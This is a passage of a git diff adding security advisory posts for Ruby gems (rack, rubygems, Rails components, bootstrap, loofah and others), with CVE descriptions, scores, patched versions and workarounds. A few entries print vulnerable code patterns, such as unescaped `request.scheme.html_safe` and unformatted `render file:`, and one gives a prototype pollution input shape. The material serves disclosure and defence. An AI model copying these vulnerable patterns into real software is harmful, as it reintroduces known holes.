Ruby openssl + date: 2018-10-17 + description: |- + An issue was discovered in the OpenSSL library in Ruby when two OpenSSL::X509::Name + objects are compared using ==, depending on the ordering, non-equal objects may + return true. When the first argument is one character longer than the second, or + the second argument contains a character that is one less than a character in the + same position of the first argument, the result of == will be true. This could be + leveraged to create an illegitimate certificate that may be accepted as legitimate + and then used in signing or encryption operations. + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 2.1.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2018-16395 + - https://www.ruby-lang.org/en/news/2018/10/17/openssl-x509-name-equality-check-does-not-work-correctly-cve-2018-16395/ + - https://hackerone.com/reports/387250 + - https://access.redhat.com/errata/RHSA-2018:3729 + - https://access.redhat.com/errata/RHSA-2018:3730 + - https://access.redhat.com/errata/RHSA-2018:3731 + - https://access.redhat.com/errata/RHSA-2018:3738 + - https://access.redhat.com/errata/RHSA-2019:1948 + - https://access.redhat.com/errata/RHSA-2019:2565 + - https://lists.debian.org/debian-lts-announce/2018/10/msg00020.html + - https://security.netapp.com/advisory/ntap-20190221-0002/ + - https://usn.ubuntu.com/3808-1/ + - https://www.debian.org/security/2018/dsa-4332 + - https://www.oracle.com/security-alerts/cpujan2020.html + - https://www.ruby-lang.org/en/news/2018/10/17/ruby-2-3-8-released/ + - https://www.ruby-lang.org/en/news/2018/10/17/ruby-2-4-5-released/ + - https://www.ruby-lang.org/en/news/2018/10/17/ruby-2-5-2-released/ + - https://www.ruby-lang.org/en/news/2018/11/06/ruby-2-6-0-preview3-released/ + - http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00036.html + - http://www.securitytracker.com/id/1042105 + - https://github.com/ruby/openssl/commit/f653cfa43f0f20e8c440122ea982382b6228e7f5 + - https://github.com/advisories/GHSA-mmrq-6999-72v8 +--- diff --git a/advisories/_posts/2018-10-19-CVE-2018-18476.md b/advisories/_posts/2018-10-19-CVE-2018-18476.md new file mode 100644 index 00000000..978d6445 --- /dev/null +++ b/advisories/_posts/2018-10-19-CVE-2018-18476.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2018-18476 (mysql-binuuid-rails): mysql-binuuid-rails allows SQL Injection + by removing default string escaping' +comments: false +categories: +- mysql-binuuid-rails +advisory: + gem: mysql-binuuid-rails + cve: 2018-18476 + ghsa: 6j63-35hj-vmcg + url: https://gist.github.com/viraptor/881276ea61e8d56bac6e28454c79f1e6 + title: mysql-binuuid-rails allows SQL Injection by removing default string escaping + date: 2018-10-19 + description: |- + mysql-binuuid-rails 1.1.0 and earlier allows SQL Injection because it removes + default string escaping for affected database columns. ActiveRecord does not + explicitly escape the Binary data type (Type::Binary::Data) for mysql. + mysql-binuuid-rails uses a data type that is derived from the base Binary + type, except, it doesn’t convert the value to hex. Instead, it assumes the + string value provided is a valid hex string and doesn’t do any checks on it. + cvss_v3: 9.8 + patched_versions: + - ">= 1.1.1" + related: + url: + - https://github.com/nedap/mysql-binuuid-rails/pull/18 +--- diff --git a/advisories/_posts/2018-10-27-CVE-2018-1000842.md b/advisories/_posts/2018-10-27-CVE-2018-1000842.md new file mode 100644 index 00000000..2a0efccb --- /dev/null +++ b/advisories/_posts/2018-10-27-CVE-2018-1000842.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2018-1000842 (fat_free_crm): fat_free_crm gem XSS vulnerability via query + parameter' +comments: false +categories: +- fat_free_crm +advisory: + gem: fat_free_crm + cve: 2018-1000842 + ghsa: j5rj-g695-342r + url: https://github.com/fatfreecrm/fat_free_crm/wiki/XSS-Vulnerability-%282018-10-27%29 + title: fat_free_crm gem XSS vulnerability via query parameter + date: 2018-10-27 + description: |- + FatFreeCRM version <=0.14.1, >=0.15.0 <=0.15.1, >=0.16.0 <=0.16.3, >=0.17.0 + <=0.17.2, ==0.18.0 contains a Cross Site Scripting (XSS) vulnerability in commit + 6d60bc8ed010c4eda05d6645c64849f415f68d65 that can result in Javascript execution. + This attack appear to be exploitable via Content with Javascript payload will be + executed on end user browsers when they visit the page. This vulnerability appears + to have been fixed in 0.18.1, 0.17.3, 0.16.4, 0.15.2, 0.14.2. + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - ">= 0.18.1" + - "~> 0.17.3" + - "~> 0.16.4" + - "~> 0.15.2" + - "~> 0.14.2" +--- diff --git a/advisories/_posts/2018-10-30-CVE-2018-16468.md b/advisories/_posts/2018-10-30-CVE-2018-16468.md new file mode 100644 index 00000000..6e380a4c --- /dev/null +++ b/advisories/_posts/2018-10-30-CVE-2018-16468.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2018-16468 (loofah): Loofah XSS Vulnerability' +comments: false +categories: +- loofah +advisory: + gem: loofah + cve: 2018-16468 + ghsa: g4xq-jx4w-4cjv + url: https://github.com/flavorjones/loofah/issues/154 + title: Loofah XSS Vulnerability + date: 2018-10-30 + description: |- + In the Loofah gem, through v2.2.2, unsanitized JavaScript may occur in + sanitized output when a crafted SVG element is republished. + cvss_v3: 6.4 + patched_versions: + - ">= 2.2.3" + related: + url: + - https://hackerone.com/reports/429267 +--- diff --git a/advisories/_posts/2018-11-05-CVE-2018-16470.md b/advisories/_posts/2018-11-05-CVE-2018-16470.md new file mode 100644 index 00000000..98aa3027 --- /dev/null +++ b/advisories/_posts/2018-11-05-CVE-2018-16470.md @@ -0,0 +1,62 @@ +--- +layout: advisory +title: 'CVE-2018-16470 (rack): Possible DoS vulnerability in Rack' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2018-16470 + ghsa: hg78-4f6x-99wq + url: https://groups.google.com/forum/#!topic/ruby-security-ann/Dz4sRl-ktKk + title: Possible DoS vulnerability in Rack + date: 2018-11-05 + description: |- + There is a possible DoS vulnerability in the multipart parser in Rack. This + vulnerability has been assigned the CVE identifier CVE-2018-16470. + + Versions Affected: 2.0.4, 2.0.5 + Not affected: <= 2.0.3 + Fixed Versions: 2.0.6 + + Impact + ------ + There is a possible DoS vulnerability in the multipart parser in Rack. + Carefully crafted requests can cause the multipart parser to enter a + pathological state, causing the parser to use CPU resources disproportionate to + the request size. + + Impacted code can look something like this: + + ``` + Rack::Request.new(env).params + ``` + + But any code that uses the multi-part parser may be vulnerable. + + Rack users that have manually adjusted the buffer size in the multipart parser + may be vulnerable as well. + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Releases + -------- + The 2.0.6 release is available at the normal locations. + + Workarounds + ----------- + To work around this issue, the following code can be used: + + ``` + require "rack/multipart/parser" + + Rack::Multipart::Parser.send :remove_const, :BUFSIZE + Rack::Multipart::Parser.const_set :BUFSIZE, 16384 + ``` + cvss_v3: 7.5 + unaffected_versions: + - "<= 2.0.3" + patched_versions: + - ">= 2.0.6" +--- diff --git a/advisories/_posts/2018-11-05-CVE-2018-16471.md b/advisories/_posts/2018-11-05-CVE-2018-16471.md new file mode 100644 index 00000000..d35b38c5 --- /dev/null +++ b/advisories/_posts/2018-11-05-CVE-2018-16471.md @@ -0,0 +1,87 @@ +--- +layout: advisory +title: 'CVE-2018-16471 (rack): Possible XSS vulnerability in Rack' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2018-16471 + ghsa: 5r2p-j47h-mhpg + url: https://groups.google.com/forum/#!topic/ruby-security-ann/NAalCee8n6o + title: Possible XSS vulnerability in Rack + date: 2018-11-05 + description: |- + There is a possible vulnerability in Rack. This vulnerability has been + assigned the CVE identifier CVE-2018-16471. + + Versions Affected: All. + Not affected: None. + Fixed Versions: 2.0.6, 1.6.11 + + Impact + ------ + There is a possible XSS vulnerability in Rack. Carefully crafted requests can + impact the data returned by the `scheme` method on `Rack::Request`. + Applications that expect the scheme to be limited to "http" or "https" and do + not escape the return value could be vulnerable to an XSS attack. + + Vulnerable code looks something like this: + + ``` + <%= request.scheme.html_safe %> + ``` + + Note that applications using the normal escaping mechanisms provided by Rails + may not impacted, but applications that bypass the escaping mechanisms, or do + not use them may be vulnerable. + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Releases + -------- + The 2.0.6 and 1.6.11 releases are available at the normal locations. + + Workarounds + ----------- + The following monkey patch can be applied to work around this issue: + + ``` + require "rack" + require "rack/request" + + class Rack::Request + SCHEME_WHITELIST = %w(https http).freeze + + def scheme + if get_header(Rack::HTTPS) == 'on' + 'https' + elsif get_header(HTTP_X_FORWARDED_SSL) == 'on' + 'https' + elsif forwarded_scheme + forwarded_scheme + else + get_header(Rack::RACK_URL_SCHEME) + end + end + + def forwarded_scheme + scheme_headers = [ + get_header(HTTP_X_FORWARDED_SCHEME), + get_header(HTTP_X_FORWARDED_PROTO).to_s.split(',')[0] + ] + + scheme_headers.each do |header| + return header if SCHEME_WHITELIST.include?(header) + end + + nil + end + end + ``` + cvss_v3: 6.1 + patched_versions: + - "~> 1.6.11" + - ">= 2.0.6" +--- diff --git a/advisories/_posts/2018-11-09-CVE-2018-1000855.md b/advisories/_posts/2018-11-09-CVE-2018-1000855.md new file mode 100644 index 00000000..371bfee4 --- /dev/null +++ b/advisories/_posts/2018-11-09-CVE-2018-1000855.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2018-1000855 (easymon): Reflected XSS in Firefox in check endpoint' +comments: false +categories: +- easymon +advisory: + gem: easymon + cve: 2018-1000855 + ghsa: c289-47qf-rvrr + url: https://github.com/basecamp/easymon/issues/26 + title: Reflected XSS in Firefox in check endpoint + date: 2018-11-09 + description: |- + When passing an invalid check name as parameter to the endpoint where + the easymon routes are mounted, a 406 response with a body that contains the invalid + check name unescaped is returned. Malicious JavaScript can be injected into that + invalid name and have it executed in Firefox + cvss_v3: 6.1 + patched_versions: + - ">= 1.4.1" + related: + url: + - https://github.com/basecamp/easymon/pull/25 +--- diff --git a/advisories/_posts/2018-11-27-CVE-2018-16476.md b/advisories/_posts/2018-11-27-CVE-2018-16476.md new file mode 100644 index 00000000..5e974a62 --- /dev/null +++ b/advisories/_posts/2018-11-27-CVE-2018-16476.md @@ -0,0 +1,45 @@ +--- +layout: advisory +title: 'CVE-2018-16476 (activejob): Broken Access Control vulnerability in Active + Job' +comments: false +categories: +- activejob +- rails +advisory: + gem: activejob + framework: rails + cve: 2018-16476 + ghsa: q2qw-rmrh-vv42 + url: https://groups.google.com/forum/#!topic/rubyonrails-security/FL4dSdzr2zw + title: Broken Access Control vulnerability in Active Job + date: 2018-11-27 + description: |- + There is a vulnerability in Active Job. This vulnerability has been + assigned the CVE identifier CVE-2018-16476. + + Versions Affected: >= 4.2.0 + Not affected: < 4.2.0 + Fixed Versions: 4.2.11, 5.0.7.1, 5.1.6.1, 5.2.1.1 + + Impact + ------ + Carefully crafted user input can cause Active Job to deserialize it using GlobalId + and allow an attacker to have access to information that they should not have. + + Vulnerable code will look something like this: + + MyJob.perform_later(user_input) + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + cvss_v3: 7.5 + unaffected_versions: + - "< 4.2.0" + patched_versions: + - "~> 4.2.11" + - "~> 5.0.7.1" + - "~> 5.1.6.1" + - "~> 5.1.7" + - ">= 5.2.1.1" +--- diff --git a/advisories/_posts/2018-11-27-CVE-2018-16477.md b/advisories/_posts/2018-11-27-CVE-2018-16477.md new file mode 100644 index 00000000..94421ef2 --- /dev/null +++ b/advisories/_posts/2018-11-27-CVE-2018-16477.md @@ -0,0 +1,50 @@ +--- +layout: advisory +title: 'CVE-2018-16477 (activestorage): Bypass vulnerability in Active Storage' +comments: false +categories: +- activestorage +- rails +advisory: + gem: activestorage + framework: rails + cve: 2018-16477 + ghsa: 7rr7-rcjw-56vj + url: https://groups.google.com/forum/#!topic/rubyonrails-security/3KQRnXDIuLg + title: Bypass vulnerability in Active Storage + date: 2018-11-27 + description: |- + There is a vulnerability in Active Storage. This vulnerability has been + assigned the CVE identifier CVE-2018-16477. + + Versions Affected: >= 5.2.0 + Not affected: < 5.2.0 + Fixed Versions: 5.2.1.1 + + Impact + ------ + Signed download URLs generated by `ActiveStorage` for Google Cloud Storage + service and Disk service include `content-disposition` and `content-type` + parameters that an attacker can modify. This can be used to upload specially + crafted HTML files and have them served and executed inline. Combined with + other techniques such as cookie bombing and specially crafted AppCache manifests, + an attacker can gain access to private signed URLs within a specific storage path. + + Vulnerable apps are those using either GCS or the Disk service in production. + Other storage services such as S3 or Azure aren't affected. + + All users running an affected release should either upgrade or use one of the + workarounds immediately. For those using GCS, it's also recommended to run the + following to update existing blobs: + + ``` + ActiveStorage::Blob.find_each do |blob| + blob.send :update_service_metadata + end + ``` + cvss_v3: 6.5 + unaffected_versions: + - "< 5.2.0" + patched_versions: + - ">= 5.2.1.1" +--- diff --git a/advisories/_posts/2019-01-17-CVE-2018-20676.md b/advisories/_posts/2019-01-17-CVE-2018-20676.md new file mode 100644 index 00000000..826a714a --- /dev/null +++ b/advisories/_posts/2019-01-17-CVE-2018-20676.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'CVE-2018-20676 (bootstrap): XSS vulnerability that affects bootstrap' +comments: false +categories: +- bootstrap +advisory: + gem: bootstrap + cve: 2018-20676 + ghsa: 3mgp-fx93-9xv5 + url: https://github.com/advisories/GHSA-3mgp-fx93-9xv5 + title: XSS vulnerability that affects bootstrap + date: 2019-01-17 + description: |- + In Bootstrap before 3.4.0, XSS is possible in the tooltip data-viewport + attribute. + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - ">= 3.4.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2018-20676 + - https://github.com/twbs/bootstrap/issues/27044 + - https://github.com/twbs/bootstrap/issues/27915#issuecomment-452140906 + - https://github.com/twbs/bootstrap/issues/27915#issuecomment-452196628 + - https://github.com/twbs/bootstrap/pull/27047 + - https://access.redhat.com/errata/RHBA-2019:1076 + - https://access.redhat.com/errata/RHBA-2019:1570 + - https://access.redhat.com/errata/RHSA-2019:1456 + - https://access.redhat.com/errata/RHSA-2019:3023 + - https://access.redhat.com/errata/RHSA-2020:0132 + - https://access.redhat.com/errata/RHSA-2020:0133 + - https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@ + - https://github.com/twbs/bootstrap/commit/2a5ba23ce8f041f3548317acc992ed8a736b609d + - https://blog.getbootstrap.com/2018/12/13/bootstrap-3-4-0 + - https://github.com/advisories/GHSA-3mgp-fx93-9xv5 +--- diff --git a/advisories/_posts/2019-01-17-CVE-2018-20677.md b/advisories/_posts/2019-01-17-CVE-2018-20677.md new file mode 100644 index 00000000..ddb8091b --- /dev/null +++ b/advisories/_posts/2019-01-17-CVE-2018-20677.md @@ -0,0 +1,39 @@ +--- +layout: advisory +title: 'CVE-2018-20677 (bootstrap): bootstrap Cross-site Scripting vulnerability' +comments: false +categories: +- bootstrap +advisory: + gem: bootstrap + cve: 2018-20677 + ghsa: ph58-4vrj-w6hr + url: https://github.com/advisories/GHSA-ph58-4vrj-w6hr + title: bootstrap Cross-site Scripting vulnerability + date: 2019-01-17 + description: |- + In Bootstrap before 3.4.0, XSS is possible in the affix + configuration target property. + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - ">= 3.4.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2018-20677 + - https://github.com/twbs/bootstrap/issues/27045 + - https://github.com/twbs/bootstrap/issues/27915#issuecomment-452140906 + - https://github.com/twbs/bootstrap/issues/27915#issuecomment-452196628 + - https://github.com/twbs/bootstrap/pull/27047 + - https://access.redhat.com/errata/RHBA-2019:1076 + - https://access.redhat.com/errata/RHBA-2019:1570 + - https://access.redhat.com/errata/RHSA-2019:1456 + - https://access.redhat.com/errata/RHSA-2019:3023 + - https://access.redhat.com/errata/RHSA-2020:0132 + - https://access.redhat.com/errata/RHSA-2020:0133 + - https://lists.apache.org/thread.html/52e0e6b5df827ee7f1e68f7cc3babe61af3b2160f5d74a85469b7b0e@ + - https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@ + - https://github.com/twbs/bootstrap/commit/2a5ba23ce8f041f3548317acc992ed8a736b609d + - https://blog.getbootstrap.com/2018/12/13/bootstrap-3-4-0 + - https://github.com/advisories/GHSA-ph58-4vrj-w6hr +--- diff --git a/advisories/_posts/2019-02-07-CVE-2018-16487.md b/advisories/_posts/2019-02-07-CVE-2018-16487.md new file mode 100644 index 00000000..06839a0f --- /dev/null +++ b/advisories/_posts/2019-02-07-CVE-2018-16487.md @@ -0,0 +1,39 @@ +--- +layout: advisory +title: 'CVE-2018-16487 (lodash-rails): Prototype Pollution in lodash' +comments: false +categories: +- lodash-rails +advisory: + gem: lodash-rails + cve: 2018-16487 + ghsa: 4xc9-xhrj-v574 + url: https://github.com/advisories/GHSA-4xc9-xhrj-v574 + title: Prototype Pollution in lodash + date: 2019-02-07 + description: |- + Versions of `lodash` before 4.17.11 are vulnerable to + prototype pollution. + + The vulnerable functions are 'defaultsDeep', 'merge', and + 'mergeWith' which allow a malicious user to modify the + prototype of `Object` via `{constructor: {prototype: + {...}}}` causing the addition or modification of an existing + property that will exist on all objects. + + ## Recommendation + + Update to version 4.17.11 or later. + cvss_v2: 6.8 + cvss_v3: 5.6 + patched_versions: + - ">= 4.17.11" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2018-16487 + - https://hackerone.com/reports/380873 + - https://www.npmjs.com/advisories/782 + - https://github.com/lodash/lodash/commit/90e6199a161b6445b01454517b40ef65ebecd2ad + - https://security.netapp.com/advisory/ntap-20190919-0004 + - https://github.com/advisories/GHSA-4xc9-xhrj-v574 +--- diff --git a/advisories/_posts/2019-02-07-CVE-2019-5421.md b/advisories/_posts/2019-02-07-CVE-2019-5421.md new file mode 100644 index 00000000..cf4547c3 --- /dev/null +++ b/advisories/_posts/2019-02-07-CVE-2019-5421.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2019-5421 (devise): Devise Gem for Ruby Time-of-check Time-of-use race + condition with lockable module' +comments: false +categories: +- devise +advisory: + gem: devise + cve: 2019-5421 + ghsa: 73rf-6mrf-759q + url: https://github.com/plataformatec/devise/issues/4981 + title: Devise Gem for Ruby Time-of-check Time-of-use race condition with lockable + module + date: 2019-02-07 + description: |- + Devise ruby gem before 4.6.0 when the `lockable` module is used is vulnerable to a + time-of-check time-of-use (TOCTOU) race condition due to `increment_failed_attempts` + within the `Devise::Models::Lockable` class not being concurrency safe. + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 4.6.0" +--- diff --git a/advisories/_posts/2019-02-15-CVE-2019-8331.md b/advisories/_posts/2019-02-15-CVE-2019-8331.md new file mode 100644 index 00000000..0a5180ef --- /dev/null +++ b/advisories/_posts/2019-02-15-CVE-2019-8331.md @@ -0,0 +1,42 @@ +--- +layout: advisory +title: 'CVE-2019-8331 (twitter-bootstrap-rails): twitter-bootstrap-rails vulnerable + to Cross-Site Scripting (XSS)' +comments: false +categories: +- twitter-bootstrap-rails +advisory: + gem: twitter-bootstrap-rails + cve: 2019-8331 + ghsa: 9v3m-8fp8-mj99 + url: https://github.com/advisories/GHSA-9v3m-8fp8-mj99 + title: twitter-bootstrap-rails vulnerable to Cross-Site Scripting (XSS) + date: 2019-02-15 + description: |- + The seyhunak/twitter-bootstrap-rails gem includes a vendored version of + the Bootstrap JavaScript library. + + In Bootstrap before 3.4.1 and 4.3.x before 4.3.1, XSS is possible + in the tooltip or popover data-template attribute. + + The most recent version of this gem, 5.0.0, includes Bootstrap v 3.3.6. + All versions of Bootstrap before v 3.4.1 are affected by this vulnerability. + All versions of this gem are affected. + + # Workarounds + Until this gem is updated to use Bootstrap v3.4.1, users can replace it + with the official Twitter-maintained gems, `bootstrap-sass` (version 3.4.1) + or `bootstrap` (bootstrap 4 and 5). + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - ">= 5.3.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2019-8331 + - https://github.com/seyhunak/twitter-bootstrap-rails/releases/tag/v5.3.0 + - https://github.com/seyhunak/twitter-bootstrap-rails/commit/ec8d08af20fa3abe9852f51f7e1258fc40b39a44 + - https://github.com/twbs/bootstrap-sass/releases/tag/v3.4.1 + - https://blog.getbootstrap.com/2019/02/13/bootstrap-4-3-1-and-3-4-1 + - https://github.com/advisories/GHSA-9v3m-8fp8-mj99 +--- diff --git a/advisories/_posts/2019-03-05-CVE-2019-8320.md b/advisories/_posts/2019-03-05-CVE-2019-8320.md new file mode 100644 index 00000000..f1702732 --- /dev/null +++ b/advisories/_posts/2019-03-05-CVE-2019-8320.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2019-8320 (rubygems-update): Delete directory using symlink when decompressing + tar' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2019-8320 + ghsa: 5x32-c9mf-49cc + url: https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html + title: Delete directory using symlink when decompressing tar + date: 2019-03-05 + description: |- + A Directory Traversal issue was discovered in RubyGems 2.7.6 and later + through 3.0.2. Before making new directories or touching files (which now + include path-checking code for symlinks), it would delete the target + destination. If that destination was hidden behind a symlink, a malicious gem + could delete arbitrary files on the user’s machine, presuming the attacker + could guess at paths. Given how frequently gem is run as sudo, and how + predictable paths are on modern systems (/tmp, /usr, etc.), this could + likely lead to data loss or an unusable system. + cvss_v3: 7.4 + unaffected_versions: + - "< 2.7.6" + patched_versions: + - ">= 3.0.3" + - "~> 2.7.9" +--- diff --git a/advisories/_posts/2019-03-05-CVE-2019-8321.md b/advisories/_posts/2019-03-05-CVE-2019-8321.md new file mode 100644 index 00000000..e49e0846 --- /dev/null +++ b/advisories/_posts/2019-03-05-CVE-2019-8321.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2019-8321 (rubygems-update): Escape sequence injection vulnerability in + verbose' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2019-8321 + ghsa: fr32-gr5c-xq5c + url: https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html + title: Escape sequence injection vulnerability in verbose + date: 2019-03-05 + description: |- + An issue was discovered in RubyGems 2.6 and later through 3.0.2. Since + Gem::UserInteraction#verbose calls say without escaping, escape sequence + injection is possible. + cvss_v3: 7.5 + unaffected_versions: + - "< 2.6" + patched_versions: + - ">= 3.0.3" + - "~> 2.7.9" +--- diff --git a/advisories/_posts/2019-03-05-CVE-2019-8322.md b/advisories/_posts/2019-03-05-CVE-2019-8322.md new file mode 100644 index 00000000..8333bbb5 --- /dev/null +++ b/advisories/_posts/2019-03-05-CVE-2019-8322.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2019-8322 (rubygems-update): Escape sequence injection vulnerability in + gem owner' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2019-8322 + ghsa: mh37-8c3g-3fgc + url: https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html + title: Escape sequence injection vulnerability in gem owner + date: 2019-03-05 + description: |- + An issue was discovered in RubyGems 2.6 and later through 3.0.2. The gem + owner command outputs the contents of the API response directly to stdout. + Therefore, if the response is crafted, escape sequence injection may occur. + cvss_v3: 7.5 + unaffected_versions: + - "< 2.6" + patched_versions: + - "~> 2.7.9" + - ">= 3.0.3" +--- diff --git a/advisories/_posts/2019-03-05-CVE-2019-8323.md b/advisories/_posts/2019-03-05-CVE-2019-8323.md new file mode 100644 index 00000000..bea8a295 --- /dev/null +++ b/advisories/_posts/2019-03-05-CVE-2019-8323.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2019-8323 (rubygems-update): Escape sequence injection vulnerability in + api response handling' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2019-8323 + ghsa: 3h4r-pjv6-cph9 + url: https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html + title: Escape sequence injection vulnerability in api response handling + date: 2019-03-05 + description: |- + An issue was discovered in RubyGems 2.6 and later through 3.0.2. + Gem::GemcutterUtilities#with_response may output the API response to stdout + as it is. Therefore, if the API side modifies the response, escape sequence + injection may occur. + cvss_v3: 7.5 + unaffected_versions: + - "< 2.6" + patched_versions: + - ">= 3.0.3" + - "~> 2.7.9" +--- diff --git a/advisories/_posts/2019-03-05-CVE-2019-8324.md b/advisories/_posts/2019-03-05-CVE-2019-8324.md new file mode 100644 index 00000000..f749585c --- /dev/null +++ b/advisories/_posts/2019-03-05-CVE-2019-8324.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2019-8324 (rubygems-update): Installing a malicious gem may lead to arbitrary + code execution' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2019-8324 + ghsa: 76wm-422q-92mq + url: https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html + title: Installing a malicious gem may lead to arbitrary code execution + date: 2019-03-05 + description: |- + An issue was discovered in RubyGems 2.6 and later through 3.0.2. A crafted + gem with a multi-line name is not handled correctly. Therefore, an attacker + could inject arbitrary code to the stub line of gemspec, which is eval-ed by + code in ensure_loadable_spec during the preinstall check. + cvss_v3: 8.8 + unaffected_versions: + - "< 2.6" + patched_versions: + - ">= 3.0.3" + - "~> 2.7.9" +--- diff --git a/advisories/_posts/2019-03-05-CVE-2019-8325.md b/advisories/_posts/2019-03-05-CVE-2019-8325.md new file mode 100644 index 00000000..6c82de89 --- /dev/null +++ b/advisories/_posts/2019-03-05-CVE-2019-8325.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2019-8325 (rubygems-update): Escape sequence injection vulnerability in + errors' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2019-8325 + ghsa: 4wm8-fjv7-j774 + url: https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html + title: Escape sequence injection vulnerability in errors + date: 2019-03-05 + description: |- + An issue was discovered in RubyGems 2.6 and later through 3.0.2. Since + Gem::CommandManager#run calls alert_error without escaping, escape sequence + injection is possible. (There are many ways to cause an error.) + cvss_v3: 7.5 + unaffected_versions: + - "< 2.6" + patched_versions: + - ">= 3.0.3" + - "~> 2.7.9" +--- diff --git a/advisories/_posts/2019-03-08-CVE-2018-6517.md b/advisories/_posts/2019-03-08-CVE-2018-6517.md new file mode 100644 index 00000000..c6f36d6b --- /dev/null +++ b/advisories/_posts/2019-03-08-CVE-2018-6517.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2018-6517 (chloride): Improper handling of ssh known_hosts file with Chloride' +comments: false +categories: +- chloride +advisory: + gem: chloride + cve: 2018-6517 + ghsa: 573x-jhqh-jg36 + url: https://puppet.com/security/cve/CVE-2018-6517 + title: Improper handling of ssh known_hosts file with Chloride + date: 2019-03-08 + description: |- + Prior to version 0.3.0, chloride's use of net-ssh resulted in host fingerprints + for previously unknown hosts getting added to the user's known_hosts file without + confirmation. In version 0.3.0 this is updated so that the user's known_hosts file + is not updated by chloride. + cvss_v3: 5.0 + patched_versions: + - ">= 0.3.0" +--- diff --git a/advisories/_posts/2019-03-13-CVE-2019-5418.md b/advisories/_posts/2019-03-13-CVE-2019-5418.md new file mode 100644 index 00000000..180210cb --- /dev/null +++ b/advisories/_posts/2019-03-13-CVE-2019-5418.md @@ -0,0 +1,105 @@ +--- +layout: advisory +title: 'CVE-2019-5418 (actionview): File Content Disclosure in Action View' +comments: false +categories: +- actionview +- rails +advisory: + gem: actionview + framework: rails + cve: 2019-5418 + ghsa: 86g5-2wh3-gc9j + url: https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q + title: File Content Disclosure in Action View + date: 2019-03-13 + description: |- + There is a possible file content disclosure vulnerability in Action View. This + vulnerability has been assigned the CVE identifier CVE-2019-5418. + + Versions Affected: All. + Not affected: None. + Fixed Versions: 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1 + + Impact + ------ + There is a possible file content disclosure vulnerability in Action View. + Specially crafted accept headers in combination with calls to `render file:` + can cause arbitrary files on the target server to be rendered, disclosing the + file contents. + + The impact is limited to calls to `render` which render file contents without + a specified accept format. Impacted code in a controller looks something like + this: + + ``` + class UserController < ApplicationController + def index + render file: "#{Rails.root}/some/file" + end + end + ``` + + Rendering templates as opposed to files is not impacted by this vulnerability. + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Releases + -------- + The 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, and 4.2.11.1 releases are + available at the normal locations. + + Workarounds + ----------- + This vulnerability can be mitigated by specifying a format for file rendering, + like this: + + ``` + class UserController < ApplicationController + def index + render file: "#{Rails.root}/some/file", formats: [:html] + end + end + ``` + + In summary, impacted calls to `render` look like this: + + ``` + render file: "#{Rails.root}/some/file" + ``` + + The vulnerability can be mitigated by changing to this: + + ``` + render file: "#{Rails.root}/some/file", formats: [:html] + ``` + + Other calls to `render` are not impacted. + + Alternatively, the following monkey patch can be applied in an initializer: + + ``` + $ cat config/initializers/formats_filter.rb + # frozen_string_literal: true + + ActionDispatch::Request.prepend(Module.new do + def formats + super().select do |format| + format.symbol || format.ref == "*/*" + end + end + end) + ``` + + Credits + ------- + Thanks to John Hawthorn of GitHub + cvss_v3: 7.5 + patched_versions: + - "~> 4.2.11, >= 4.2.11.1" + - "~> 5.0.7, >= 5.0.7.2" + - "~> 5.1.6, >= 5.1.6.2" + - "~> 5.2.2, >= 5.2.2.1" + - ">= 6.0.0.beta3" +--- diff --git a/advisories/_posts/2019-03-13-CVE-2019-5419.md b/advisories/_posts/2019-03-13-CVE-2019-5419.md new file mode 